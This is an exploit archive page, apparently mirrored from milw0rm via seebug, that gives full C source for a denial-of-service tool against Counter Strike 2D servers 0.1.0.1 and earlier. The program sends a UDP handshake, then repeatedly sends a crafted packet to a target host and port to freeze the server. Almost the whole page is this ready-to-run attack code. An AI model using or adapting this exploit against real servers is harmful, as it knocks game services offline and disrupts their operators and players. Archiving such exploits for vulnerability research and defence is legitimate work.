Lucene search
K

Counter Strike 2D <= 0.1.0.1 - Denial of Service Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

Counter Strike 2D DoS Vulnerability - Affected version 0.1.0.1 and prior, written in Borland C++ Builder 6 with denial of service attack capability. Includes handshake and DoS attack functions.

Code

                                                /*
  Counter Strike 2D DoS
  Affected versions: 0.1.0.1 and prior
  CS2D Developer: http://www.cs2d.com/

  by Iman Karim ([email protected])
  http://home.inf.fh-rhein-sieg.de/~ikarim2s/

  Written in Borland C++ Builder 6
  20.09.2005
*/
#include &#60;winsock.h&#62;
#include &#60;stdio.h&#62;
#include &#60;conio.h&#62;
int sd;
int port = 36963;
WSADATA wsadata;
struct  sockaddr_in p;

const static unsigned char MakeCon[]=   &#34;\xFA\xFA\x0D\x0A&#34;
                                        &#34;\x68\x61\x72\x72\x79&#34; //Player Name = Harry (in Hex)
                                        &#34;\xCE\x7B\xE2\x45\x63\x90\x00\x00&#34;;
const static unsigned char DoSPack[]=   &#34;\xFA\x04&#34;
                                        &#34;\x68\x61\x72\x72\x79&#34; //Player Name again
                                        &#34;\x0D\x0A\x02&#34; ;

//----------------------------------------------------------------------
u_int resolveaddr(char  *host )
{
    u_int ip;
    struct hostent *hIP ;

    ip = inet_addr(host);
       hIP = gethostbyname(host);
        if(!hIP) {
            printf(&#34;Cant solve hostip =&#62; quitting...\n&#34;);
            return(0);
        }
        else ip = *(u_int *)hIP-&#62;h_addr;
    return(ip);
}



bool HandShake(int sd)
{
        sendto(sd, MakeCon, 22, 0,(struct sockaddr *)&p, sizeof(p));
        return true;
}

bool DoSAttack(int sd)
{
        sendto(sd, DoSPack, 10, 0, (struct sockaddr *)&p, sizeof(p));
        return true;
}
//----------------------------------------------------------------------



int main(int argc, char *argv[])
{
        printf (&#34;Counter Strike 2D DoS\n&#34;);
        printf (&#34;Affected versions: 0.1.0.1 and prior\n&#34;);
        printf (&#34;by Iman Karim ([email protected])\n&#34;);
        printf (&#34;http://home.inf.fh-rhein-sieg.de/~ikarim2s/\n-----------\n&#34;);
        if (argc &#60;= 1)
        {
                printf (&#34;\n-Quick Guide-\n\n&#34;);
                printf (&#34;%s &#60;SRV_IP&#62; [SRV_PORT] [PACKET_COUNT]\n&#34;,argv[0]);
                printf (&#34;Default Port is 36963\n&#34;);
                printf (&#34;Default Packet Count is 5000\n&#34;);
                printf (&#34;\n-           -\n\nPress a key...&#34;);
                getch();
                printf (&#34;\n&#34;);
                return(0);
        }

        WSAStartup(MAKEWORD (1,0), &wsadata);
        sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

        if(sd &#60; 0)
        {
         printf (&#34;Cant create socket =&#62; quitting...\n&#34;);
         return(0);
        }

        if(argc &#62; 2) port = atoi(argv[2]);

        p.sin_addr.s_addr = resolveaddr(argv[1]);
        p.sin_port        = htons(port);
        p.sin_family      = AF_INET;

        printf (&#34;Attacking %s:%i...\n&#34;,argv[1],port);
        printf (&#34;+Attack started...\n&#34;);

        printf (&#34;++Sending Handshake...\n&#34;);
        HandShake(sd);
        unsigned char   rbuf[1024];
        ZeroMemory(rbuf, 1024);
        int cnt=0;

        int pcount = 5000;
        if(argc &#62; 2) pcount = atoi(argv[3]);
        printf(&#34;\n\n[!!!] IF THE SERVER DON&#39;T RESPONSE PRESS CTRL+C [!!!]\n\n&#34;);
        for(int i=0;i&#60;=pcount;i++){
                printf(&#34;+++Sending packet nr.%i...\n&#34;,i);
                int len=recvfrom(sd, rbuf, sizeof(rbuf), 0, NULL, NULL);
                if (len &#62; 0)
                {
                        printf(&#34;+++(%i)Server Responsed\n&#34;,i);
                        printf(&#34;+++(%i)Sending DoS Packet\n&#34;,i);
                        DoSAttack(sd);
                }

        }

        printf(&#34;++Attack Done!\n&#34;);
        printf(&#34;+Server should be frozen...\n&#34;);
        printf(&#34;Done =&#62; quitting.\npress any key...\n&#34;);

        getch();
        return 0;

}

// milw0rm.com [2005-12-11]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation